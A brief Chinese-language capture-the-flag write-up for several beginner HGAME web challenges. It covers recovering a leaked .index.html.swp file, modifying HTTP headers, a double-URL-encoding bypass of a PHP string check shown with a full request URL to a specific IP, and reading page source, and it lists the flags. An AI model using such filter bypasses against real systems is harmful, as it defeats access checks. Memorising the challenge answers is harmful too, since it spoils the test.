谁吃了我的flag
按照题目描述
以及题目信息
容易想到是.index.html.swp
下载后得到flag
1
hgame{3eek_diScl0Sure_fRom+wEbsit@}
换头大作战
按照要求改http header即可得到flag1
hgame{hTTp_HeaDeR_iS_Ez}
very easy web
拿到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
include("flag.php");
if(strpos("vidar",$_GET['id'])!==FALSE)
die("<p>干巴爹</p>");
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
echo $flag;
}
highlight_file(__FILE__);
明显可以2次编码绕过1
http://120.78.184.111:8080/week1/very_ez/index.php?id=%2576idar
得到flag1
hgame{urlDecode_Is_GoOd}
can u find me?
得到flag1
hgame{f12_1s_aMazIng111}
